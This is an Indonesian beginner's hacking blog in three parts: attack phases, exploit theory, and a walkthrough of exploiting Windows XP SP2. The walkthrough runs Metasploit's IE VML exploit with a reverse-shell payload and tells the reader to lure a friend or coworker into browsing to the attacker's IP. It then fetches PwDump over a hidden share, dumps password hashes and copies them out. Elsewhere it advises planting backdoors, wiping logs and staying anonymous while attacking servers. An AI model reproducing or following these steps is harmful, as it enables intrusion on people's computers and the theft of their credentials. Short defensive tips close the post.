Senin, 24 September 2007

Belajar Hack

Belajar Hack (1) - Konsep Dasar Hacking
8 11 2006

Intro

Dalam suatu kesempatan, saya pernah melihat seorang auditor keamanan jaringan melalukan penetration test (pen-test) terhadap suatu sistem IT. Karena penasaran saya melihat sedikit2 cara penetration test yang dilakukan. Waktu itu saya belum banyak tahu tools apa aja yang digunakan, yang saya tau dia menggunakan tcpdump untuk menganalisis paket apa aja yang lewat, trus untuk men-scan beberapa host menggunakan Nessus. Ada salah satu aplikasi yang digunakan berbasis web yang terdapat kumpulan beberapa exploit. Waktu itu saya belum tahu aplikasi apa itu, yang saya ingat aplikasi itu menggunakan alamat http://127.0.0.1:55555, nah berbekal port 55555 saya mencari di google, dan ternyata itu adalah Metasploit Framework!.

Peristiwa itu menginspirasikan saya untuk mengenang masa-masa lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja. Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system. Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.





Bagian 1

*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ’standar’, hacking sebenarnya tidak harus selalu sesuai dengan ’standar’ ini.



Hacking buat pemula

- by aCh

Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….

Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….

Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.

Pro dan Kontra Hacking



Pro


Kontra

Etika Hacking


Semua informasi adalah free


Jika semua informasi adalah free, maka tidak ada ladi privacy

Aspek Security


Intrusion adalah ilustrasi kelemahan sistem


Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci

Idle Machines


Hacking hanya pada idle machines


idle machines milik siapa ?

science education


hanya membobol tapi tidak merusak


“hacker wannabe” berpotensi sangat besar untuk merusak

Okeh, sekarang waktunya melakukan aksi…



1. Fase Persiapan

~ Mengumpulkan informasi sebanyak-banyaknya

- Secara Aktif : - portscanning

- network mapping

- OS Detection

- application fingerprinting

Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat

- Secara Pasif : - mailing-list (jasakom, newbie_hacker, hackelink, dsb)

- via internet registries (informasi domain, IP Addres)

- Website yang menjadi terget



2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->

$gcc -o exploit exploit.c

$./exploit

# hostname (# tanda mendapatkan akses root)

remote host -> $gcc -o exploit exploit.c

$./exploit -t www.target.com

# (klo beruntung mendapatkan akes root)

~ Brute Force

- Secara berulang melakukan percobaan otentifikasi.

- Menebak username dan password.

- Cracking password file

~ Social Engineering

- Memperdayai user untuk memeberi tahu Username dan password

- Intinya ngibulin user….



3. Fase Setelah Eksekusi

~ Menginstall backdoor, trojans, dan rootkit

~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin

~ Menyalin /etc/passwd atau /etc/shadow/passwd

Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas pada bagian 3!



Referensi :

-Hacking and Defense, Jim Geovedi, negative@magnesium.net

-Network Defense, Jim Geovedi, negative@magnesium.net

Belajar Hack (2) - What is an Exploit?
8 11 2006

*This article originally was written by Pukhraj Singh, K.K. Mookhey, you can get it from here. I am just repost and summarize it so you can understand what is an exploit. I’m sorry not to translate this article into Bahasa Indonesia coz I’m too lazy. Maybe you want to help us to translate it? :-)

Exploit

sploit
(n.) Exploit. A defect in the game code (see bug) or design that can be used to gain unfair advantages. (Source: Dictionary of MMORPG Terms)

At present the exploit development community (hackers and security professionals alike) is more sentient than ever before. The timeline between the release of an advisory and the development of an exploit has shrunk to a great extent. Exploit development, which was considered more of Wiccan art, has reached large masses. The network security administrator needs to be more vigilant then ever before as the enemy is always one step ahead with the latest exploit in his hand.
Memory organization

The basic exploitation techniques can be methodically categorized, like any other technical issue. Before going further, however, the reader must be aware of the basic process of memory organization. A process running in memory has the following sub-structures:

Code is the read-only segment that contains the compiled executable code of the program.

Data and BSS are writable segments containing the static, global, initialized and un-initialized data segments and variables.

Stack is a data structure based on Last-In-First-Out ordering. Items are pushed and popped from the top of the stack. A Stack Pointer (SP) is a register which points to the top of the stack (in most cases). When data is pushed on the stack, SP points to (the top of the stack). Stack grows towards negative memory addresses. It is used for storing the context of a process. A process pushes all its local and dynamic data on to the stack. Instruction Pointer (IP) is a register used to point to the address of the next instruction to be executed. The processor looks at IP each time to find the next instruction to be executed. When an abrupt program redirection takes place (generally due to jmp or call) the address of the next instruction, after returning back from redirection, can be lost. In order to overcome this problem the program stores the address of the next instruction to be executed (after returning from jmp or call) on the stack, and it is called the return address (implemented through assembly instruction RET). This is how a normal program containing many function calls and goto instructions keeps track of right path of execution.

Heap is basically the rest of the memory space assigned to the process. It stores data which have a lifetime in between the global variables and local variables. The allocator and deallocator work to assign space to dynamic data and free heap memory respectively.

This was a brief fly-over on the basics of process organization. Now I describe some techniques recurrently used to abuse the harmony of process organization.
Buffer overflows

The word gives goose bumps to any person who has dealt with them, be it a coder, an application tester or the security administrator. Some say it’s the biggest security risk of the decade. The technique of exploitation is straightforward and lethal. The stack of the program stores the data in order whereby the parameters passed to the function are stored first, then the return address, then the previous stack pointer and subsequently the local variables. If variables (like arrays) are passed without boundary checks, they can be overflowed by shoving in large amounts of data, which corrupts the stack, leading to the overwrite of the return address and consequently a segmentation fault. If the trick is craftily done we can modify the buffers to point to any location, leading to capricious code execution.
Heap overflows

The allocated memory in a heap is organized as a doubly linked list. By performing an overflow we can modify the pointers of the linked list to point into memory. Heap overflows are hard to exploit and are more common in Windows as they contain more prominent data which can be exploited. In the case of a malloc memory allocation system, the information regarding the free and allocated memory is stored within the heap. An overflow can be triggered by exploiting this management information such that we can write to random memory areas afterwards, which can lead to code execution.

So how is the overflow triggered? There are many weapons in the stockpile like strings and string functions, format strings, null pointers, integer overflows, signed issues and race conditions which can be a help to generate exceptional conditions in a process.

I stress the fact that this article was not meant to be a definitive guide to various exploitation techniques. We only provide a quick overview of what is important, in order to get a solid understanding of the things to come in subsequent parts of this article. They just act as pointers for further reference

The Birth of an Exploit

Exploit development tools and automated frameworks for exploit testing and simulation is the need of the hour. Metasploit Framework (MSF) is something which fits the bill. Its latest release has the agility and muscle quite comparable to its high priced commercial counterparts and the lethality to code an exploit in the shortest possible timeframe, due to a very well defined interface for development. With a complete exploit environment, working exploits, effectual payloads and added handlers, this is one tool which the penetration testers must utilize.

The body or structure of an exploit can be divided into various components, as described in Figure 1. We describe some exploit miscellany which will help us to analyze the figure as shown.

exploit.JPGFigure 1
Shellcode

This is the payload which is to be executed after exploitation. In most cases we redirect the path of execution so that the injected payload is executed. Hence the return address is made to point to this shellcode. It comprises of assembly instructions encoded as a binary string which perform operations like spawning a shell. A good piece of shellcode must be a trade-off between and size and complexity. There are a lot of verifications to be made during payload encoding like keeping a check on restricted characters. Nowadays, payloads have been customized to be very short and require less space. They can execute many complex operations from opening a listening socket to even loading a compiler on the remote computer.
Injection vector

The pointer or offset where the shellcode is placed in a process and the return address is modified to point to.

Request builder

This is the code which triggers the exploit. If it’s related to string functions, then scripting languages are generally preferred.

Handler Routine

This part generally consumes the majority of the code. This is a handler for the shellcode doing operations like linking to a bindshell, or connecting console to a socket.

User options handler

It is basically a user level front-end providing the user with various control options like remote target selection, offset selection, verbosity, debugging and other options. This forms majority of the exploit code and makes the code quite bulky.

Network connection Handler

This comprises of the various routines which handle network connections like name resolution, socket establishment, error handling etc.

As we can see there is a lot of unnecessary and repetitive code which makes the exploit really bulky and error prone.

In the course of development, many problems are faced which hinder the exploit development process. The mad race of people trying to release the exploit first leads to a lot of bad and unnecessarily complicated code.

Some exploits need an understanding of deeper concepts and research, such as exploits based on network protocols (RPC, SMB and SSL) and obfuscated APIs. Also, not much information is revealed in the advisory so there is always the need for experimentation.

Finding target values is also one big headache which involves lot of trial and error.

Finally, most payloads are hard coded and any changes breaks the exploit.

Many firewalls and IPSes detect and block shellcode.

Time is of primary concern, and some exploits consume quite a lot of time and concentration, both of which are the precious assets of a security researcher.

All said and done, coding exploit is one hell of a messy job!

gmn.. ngerti ga?? ga mudheng ya… sama dong! ;p

ah… ini mah kebanyakan teorinya, mana!!.. mana prakteknya?!

sabar, orang sabar pantatnya lebar ;p kenapa saya posting artikel itu? soalnya biar kita ngerti, minimal tahu lah apa yang kita pakai (exploit). Tidak semua exploit yang kita peroleh diinternet itu aman, kadang-kadang malah ada backdoornya. Jadi lebih baik, klo pakai exploit lihat2 source codenya juga. yah pura2 aja ngerti, biar keliatan keren!

Belajar Hack (3) - Hack Windows XP SP2
14 11 2006

*Fyuhh… akhirnya sempet juga nyelesain tulisan ini. Yosh.. here is the prof of concept!.

Disclaimer: This document was written in the interest of education. The author cannot be held responsible for how the topics discussed in this document are applied.

Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.

Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?

The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetrationtesting, shellcode development, and vulnerability research.

Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.

Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!

Pertama2 jalankan ‘mfsconsole’!

main1.JPG

Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.

Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.

This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.

Untuk melihat info dari exploit ini gunakan perintah :

msf > info ie_vml_rectfill

Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja :-D ).


Untuk menggunakan exploit gunakan perintah2 berikut dalam console :

msf > use_ie_vml_rectfill

msf > set PAYLOAD win32_reverse

msf > set RHOST ip_target

msf > set LHOST ip_penyerang

msf > exploit

Hasilnya akan tampak seperti gambar berikut :

exploit1.JPG

Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus :-D

Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.



Crack da Password!

Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!

Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :

pwdump.JPG

Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah

C:\temp\Pwdump –o pass.txt 127.0.0.1

Klo berhasil akan tampak pada gambar berikut.

dump1.JPG

Lalu copy file pass.txt ke komputer kita

C:\temp\copy pass.txt z:

Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.

clean.JPG

Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).

Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.

Happy Hacking…..



Beberapa saran agar windows kita tetap aman terhadap exploit diatas.

1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.

2. Patch Windows anda.

3. Gunakan antivirus dengan update terbaru

4. Hati2 terhadap teman anda sendiri.. waspadalah!! ;p





Reference :

http://www.metasploit.com